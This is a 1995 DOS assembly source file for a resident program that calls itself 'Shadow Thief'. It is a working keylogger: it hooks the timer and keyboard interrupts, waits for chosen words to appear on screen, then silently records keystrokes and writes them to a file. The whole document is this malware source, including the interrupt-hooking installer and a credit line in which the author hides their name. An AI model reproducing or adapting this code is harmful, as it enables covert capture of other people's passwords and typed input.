; shadow.asm By Michael Kohn ; October 5,1995 .model tiny .code start: jmp Installation wsear: inc si ; a recursive routine that checks for two words add di, 2 ; being similar (wow! recursion :) mov bl, es:[di] mov bh, [si] cmp bh, 0 je done cmp bl, bh jne skipy ; if difference, then abort recursion and cl=0 inc cl ; counts how many similar letters call wsear jmp done skipy: mov cl, 0 done: ; add cl, 48 ; mov es:6, cl ; sub cl, 48 ret search: mov cl, 0 mov di, 0 again: mov bl, es:[di] mov bh, [si] cmp bl, bh jne skip mov cl, 1 push si push di call wsear ; my RECURSIVE routine pop di pop si cmp cl, 0 jnz notagain skip: add di, 2 cmp di, 4000 jne again notagain: ret oldInt8 label dword oldIP dw ? oldCS dw ? oldInt15 label dword KeyIP dw ? KeyCS dw ? RaddK label dword RaddKIP dw ? RaddKCS dw ? Radd8 label dword Radd8IP dw ? Radd8CS dw ? werd db "This space is for rent!" nwerd db "More space for rent!!!!" filename db "Yngwie Malmsteen RULES!",0 handle dw 0 point dw 0 count db 0 .286 myIntHandler: pusha push ds push es push cs pop ds mov ax, 0b800h mov es, ax cmp count, 0 jne nit lea si, werd call search cmp cl, 0 jz noser mov count, 1 jmp noser nit: cmp count, 1 jne uit lea si, nwerd call search cmp cl, 0 jz noser mov count, -1 jmp noser uit: cmp count, -1 jne xit mov bp, sp mov ax, [bp]+22 mov Radd8CS, ax mov ax, [bp]+20 mov Radd8IP, ax mov [bp]+22, cs lea ax, Radd8Tail mov [bp]+20, ax mov count, 3 jmp noser xit: cmp count, 2 jne noser lea si, werd call search cmp cl, 0 jne noser mov count, 0 noser: pop es pop ds popa jmp cs:oldInt8 Radd8Tail: pusha push ds push cs pop ds ; push es ; mov ax, 0b800h ; mov es, ax ; mov byte ptr es:4, '8' ; pop es mov ah, 3dh mov al, 1 lea dx, filename int 21h jnc fileok mov ah, 3ch mov cx, 0 lea dx, filename int 21h jc itsfucked fileok: mov handle, ax lea dx, space mov cx, point sub cx, dx mov ah, 40h mov bx, handle lea dx, space int 21h mov bx, handle mov ah, 3eh int 21h itsfucked: mov ax, 0b800h ; push es ; mov es, ax ; mov byte ptr es:2, '*' ; pop es mov count, 2 lea di, space mov point, di pop ds popa jmp cs:Radd8 myKeyHandler: push ds push cs pop ds ; push es ; push ax ; mov ax, 0b800h ; mov es, ax ; mov al, count ; add al, 48 ; mov es:0, al ; pop ax ; pop es cmp count, 1 jne dont cmp ah, 0 jne dont push bp push ax mov bp, sp mov ax, [bp]+8 mov RaddKCS, ax mov ax, [bp]+6 mov RaddKIP, ax mov [bp]+8, cs lea ax, TailKey mov [bp]+6, ax pop ax pop bp dont: pop ds jmp cs:oldInt15 TailKey: cmp al, 0 jz dontdoit push ds push cs pop ds cmp al, 8 jne notback push ax lea ax, space cmp ax, point je outback dec point outback: pop ax jmp bback notback: mov di, point mov [di], al inc point bback: pop ds dontdoit: jmp cs:RaddK space db "This area is gonna be where things are like typed in or something" error: jmp fale Installation: push ds pop es push cs pop ds mov si, 80h skan: inc si cmp byte ptr es:[si], 13 je error cmp byte ptr es:[si], 32 jne skan lea di, werd-1 skan2: inc si inc di cmp byte ptr es:[si], 13 je error mov al, es:[si] mov ds:[di], al cmp byte ptr es:[si], 32 jne skan2 mov byte ptr ds:[di], 0 lea di, nwerd-1 skan8: inc si inc di cmp byte ptr es:[si], 13 je error mov al, es:[si] mov ds:[di], al cmp al, 32 jne skan8 mov byte ptr ds:[di], 0 lea di, filename-1 skan3: inc si inc di mov al, es:[si] mov ds:[di], al cmp al, 13 jne skan3 mov byte ptr ds:[di], 0 mov ax, 0b800h mov es, ax mov si, 25*80*2 cleer: mov byte ptr es:[si]-2, 32 mov byte ptr es:[si]-1, 7 sub si, 2 jne cleer mov ax,0 mov es, ax mov bx, es:[4*8] mov ax, es:[4*8+2] mov oldIP, bx mov oldCS, ax mov es:[4*8+2], cs lea ax, myIntHandler mov es:[4*8], ax mov bx, es:[4*16h] mov ax, es:[4*16h+2] mov KeyIP, bx mov KeyCS, ax mov es:[4*16h+2], cs lea ax, myKeyHandler mov es:[4*16h], ax lea si, space mov point, si mov dx, 100h mov al, 0 mov ah, 31h int 21h mess1 db "Shadow Thief - By (Yeah Right, I'm not that dumb!)",13,10 db "Usage: shadow ",13,10 db "$" fale: push cs pop ds lea dx, mess1 mov ah, 9 int 21h mov ax, 4c00h int 21h end start